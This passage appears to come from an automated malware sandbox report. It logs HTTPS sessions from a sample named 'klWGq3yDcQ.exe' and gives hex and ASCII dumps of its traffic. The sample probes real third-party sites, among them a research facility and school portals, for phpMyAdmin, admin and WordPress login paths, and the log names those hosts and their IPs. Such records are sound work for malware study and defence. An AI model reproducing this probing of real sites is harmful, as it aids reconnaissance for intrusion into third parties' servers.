6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d Data Ascii: 3FC0tem-object-page item-depth-4'><a href="https://www.maxiv.lu.se/beamlines-accelerators/beamlines/veritas/beamline-optics/" class="menu-item-label">Beamline optics</a></li><li class='menu-item menu-item-type-post_type menu-item-object-page item-depth-
2023-11-26 06:00:00 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 74 65 63 68 6e 6f 6c 6f 67 79 2f 64 65 74 65 63 74 6f 72 73 2f 64 65 74 65 63 74 6f 72 2d 6c 61 62 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 44 65 74 65 63 74 6f 72 20 6c 61 62 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 Data Ascii: 3FB8type menu-item-object-page item-depth-4'><a href="https://www.maxiv.lu.se/beamlines-accelerators/technology/detectors/detector-lab/" class="menu-item-label">Detector lab</a></li><li class='menu-item menu-item-type-post_type menu-item-object-page ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.4	56233	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	294	OUT	GET /pma/ HTTP/1.1 Host: beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip Cookie: k8spersistent=8ce644f91f3f0aa94249a98a8e2141b0\|11f187638643e13d7bd1963991fac52b; OF=vanqkb0qfk79hbm3tig91nsue6 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	419	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 30 0d 0a 65 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 70 72 61 67 6d 61 3a 20 Data Ascii: HTTP/1.1 301 Moved Permanentlydate: Sun, 26 Nov 2023 05:59:59 GMTcontent-type: text/html; charset=utf-8content-length: 0expires: Thu, 19 Nov 1981 08:52:00 GMTcache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0pragma:

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.4	56237	194.47.252.115	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	169	OUT	GET /pma/ HTTP/1.1 Host: www.maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	534	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:59 GMTserver: Apache/2.4.57 (Debian)x-powered-by: PHP/8.2.12expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <https://www.maxiv.lu.se/wp-json/>; r
2023-11-26 05:59:59 UTC	13086	IN	Data Raw: 33 33 31 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 4d 41 58 20 49 56 3c 2f 74 69 74 Data Ascii: 3316<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><link rel="profile" href="http://gmpg.org/xfn/11"><title>Page not found – MAX IV</tit
2023-11-26 05:59:59 UTC	16307	IN	Data Raw: 33 46 41 42 0d 0a 73 68 65 65 74 27 20 69 64 3d 27 6a 71 75 65 72 79 2d 75 69 2d 73 74 79 6c 65 73 2d 63 73 73 27 20 68 72 65 66 3d 27 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 75 69 2f 31 2e 31 33 2e 31 2f 74 68 65 6d 65 73 2f 62 61 73 65 2f 6a 71 75 65 72 79 2d 75 69 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 61 62 6c 65 70 72 65 73 73 2d 64 65 66 61 75 6c 74 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 74 61 62 6c 65 70 72 65 73 73 2f 63 73 73 2f 62 75 69 6c 64 2f 64 65 66 61 75 6c 74 2e 63 Data Ascii: 3FABsheet' id='jquery-ui-styles-css' href='//code.jquery.com/ui/1.13.1/themes/base/jquery-ui.css?ver=6.4.1' media='all' /><link rel='stylesheet' id='tablepress-default-css' href='https://www.maxiv.lu.se/wp-content/plugins/tablepress/css/build/default.c
2023-11-26 06:00:00 UTC	16312	IN	Data Raw: 33 46 42 30 0d 0a 33 35 20 31 35 2e 37 36 2d 35 2e 35 35 20 34 32 2e 38 34 2d 33 34 2e 35 31 20 37 32 2e 34 35 2d 31 2e 34 32 20 31 2e 34 35 2d 32 2e 38 37 20 32 2e 38 39 2d 34 2e 33 35 20 34 2e 33 34 2d 31 39 2e 36 2d 31 36 2e 34 32 2d 34 32 2e 34 31 2d 33 32 2e 33 36 2d 36 37 2e 34 38 2d 34 37 2e 31 39 7a 22 2f 3e 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 30 31 22 20 63 79 3d 22 34 35 30 22 20 72 3d 22 32 35 22 2f 3e 3c 2f 67 3e 3c 2f 73 79 6d 62 6f 6c 3e 3c 73 79 6d 62 6f 6c 20 69 64 3d 22 74 77 69 74 74 65 72 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 70 61 74 68 20 64 3d 22 4d 32 33 2e 39 35 34 20 34 2e 35 36 39 61 31 30 20 31 30 20 30 20 30 20 31 2d 32 2e 38 32 35 2e 37 37 35 20 34 2e 39 35 38 20 34 2e 39 35 38 20 30 20 30 20 Data Ascii: 3FB035 15.76-5.55 42.84-34.51 72.45-1.42 1.45-2.87 2.89-4.35 4.34-19.6-16.42-42.41-32.36-67.48-47.19z"/><circle cx="501" cy="450" r="25"/></g></symbol><symbol id="twitter" viewBox="0 0 24 24"><path d="M23.954 4.569a10 10 0 0 1-2.825.775 4.958 4.958 0 0
2023-11-26 06:00:00 UTC	30	IN	Data Raw: 34 32 0d 0a 65 6d 2d 6c 61 62 65 6c 22 3e 53 61 66 65 74 79 20 72 65 71 75 69 72 65 6d 65 Data Ascii: 42em-label">Safety requireme
2023-11-26 06:00:00 UTC	42	IN	Data Raw: 6e 74 73 20 66 6f 72 20 75 73 65 72 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 0d 0a Data Ascii: nts for users</a></li><li class='menu-it
2023-11-26 06:00:00 UTC	16270	IN	Data Raw: 33 46 38 36 0d 0a 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 33 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 75 73 65 72 2d 61 63 63 65 73 73 2f 73 61 66 65 74 79 2f 69 6e 2d 63 61 73 65 2d 6f 66 2d 65 6d 65 72 67 65 6e 63 79 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 49 6e 20 63 61 73 65 20 6f 66 20 65 6d 65 72 67 65 6e 63 79 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f Data Ascii: 3F86em menu-item-type-post_type menu-item-object-page item-depth-3'><a href="https://www.maxiv.lu.se/user-access/safety/in-case-of-emergency/" class="menu-item-label">In case of emergency</a></li><li class='menu-item menu-item-type-post_type menu-item-o
2023-11-26 06:00:00 UTC	16312	IN	Data Raw: 33 46 42 30 0d 0a 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 72 65 6d 6f 76 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 75 6c 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 Data Ascii: 3FB0us-icon" aria-hidden="true"><span class="material-icons-sharp">remove</span></span><ul><li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children item-depth-4'><a href="https://www.maxiv.lu.se/beamlines-accelerators/b
2023-11-26 06:00:00 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 6d 2d 64 65 70 74 68 2d 35 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 66 6c 65 78 70 65 73 2f 62 65 61 6d 6c 69 6e 65 2d 6f 70 74 69 63 73 2f 78 2d 72 61 79 2d 73 6f 75 72 63 65 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 58 2d 72 61 79 20 73 6f 75 72 63 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d Data Ascii: 3FB8m-depth-5'><a href="https://www.maxiv.lu.se/beamlines-accelerators/beamlines/flexpes/beamline-optics/x-ray-source/" class="menu-item-label">X-ray source</a></li></ul></li><li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-
2023-11-26 06:00:00 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 75 73 65 72 2d 69 6e 66 6f 72 6d 61 74 69 6f 6e 2f 65 78 70 65 72 69 6d 65 6e 74 61 6c 2d 73 74 61 74 69 6f 6e 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 50 6f 73 74 20 62 65 61 6d 74 69 6d 65 3c 2f 61 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 70 6c 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 61 64 64 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 Data Ascii: 3FB8user-information/experimental-station/" class="menu-item-label">Post beamtime</a><span class="material-icon submenu-toggler plus-icon" aria-hidden="true"><span class="material-icons-sharp">add</span></span><span class="material-icon submenu-toggler

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.4	56235	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	295	OUT	GET /admin HTTP/1.1 Host: beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip Cookie: k8spersistent=5afd37c218f5676376cb43a26fed2bbc\|11f187638643e13d7bd1963991fac52b; OF=v9cu3s0m473ercltrbqt6cbio0 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	420	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 30 0d 0a 65 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 70 72 61 67 6d 61 3a 20 Data Ascii: HTTP/1.1 301 Moved Permanentlydate: Sun, 26 Nov 2023 05:59:59 GMTcontent-type: text/html; charset=utf-8content-length: 0expires: Thu, 19 Nov 1981 08:52:00 GMTcache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0pragma:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.4	56254	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	168	OUT	GET /admin HTTP/1.1 Host: grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	329	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 61 64 6d 69 6e 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:59 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 317Connection: closeLocation: http://www.grantstech.io/adminCache-Control: max-age=0Expires: Sun, 26 Nov 2023 05:59:5
2023-11-26 05:59:59 UTC	317	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 61 64 6d 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.grantstech.io/admin">here</a>.</p><hr><address>Apache/2.4.56 (Deb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.4	56137	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	183	OUT	GET /wp-login.php HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	529	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 48 50 53 45 53 53 49 44 3d 30 70 66 70 76 36 66 69 63 36 74 73 63 65 69 38 6c 32 6b 72 67 6e 63 76 74 6f 3b 20 65 78 70 69 72 65 73 3d 53 75 6e 2c 20 32 36 2d 4e 6f 76 2d 32 30 32 33 20 30 36 3a 35 39 3a 35 39 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 36 30 30 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 45 78 70 69 72 65 73 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:59 GMTTransfer-Encoding: chunkedConnection: closeSet-Cookie: PHPSESSID=0pfpv6fic6tscei8l2krgncvto; expires=Sun, 26-Nov-2023 06:59:59 GMT; Max-Age=3600; path=/; secure; HttpOnlyExpires
2023-11-26 05:59:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.4	56116	117.20.63.148	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	184	OUT	GET /phpmyadmin/ HTTP/1.1 Host: student.debritto.sch.id Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 31 31 37 2e 32 30 2e 36 33 2e 31 34 38 3a 32 30 33 30 2f 70 6d 61 2f 0d 0a 58 2d 43 61 63 68 65 3a 20 48 49 54 20 66 72 6f 6d 20 42 61 63 6b 65 6e 64 0d 0a 53 74 72 69 63 74 2d 54 72 61 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginx/1.20.1Date: Sun, 26 Nov 2023 05:59:59 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 238Connection: closeLocation: http://117.20.63.148:2030/pma/X-Cache: HIT from BackendStrict-Tra
2023-11-26 05:59:59 UTC	238	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 31 31 37 2e 32 30 2e 36 33 2e 31 34 38 3a 32 30 33 30 2f 70 6d 61 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://117.20.63.148:2030/pma/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.4	56258	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	167	OUT	GET /pma/ HTTP/1.1 Host: grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	327	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 70 6d 61 2f 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 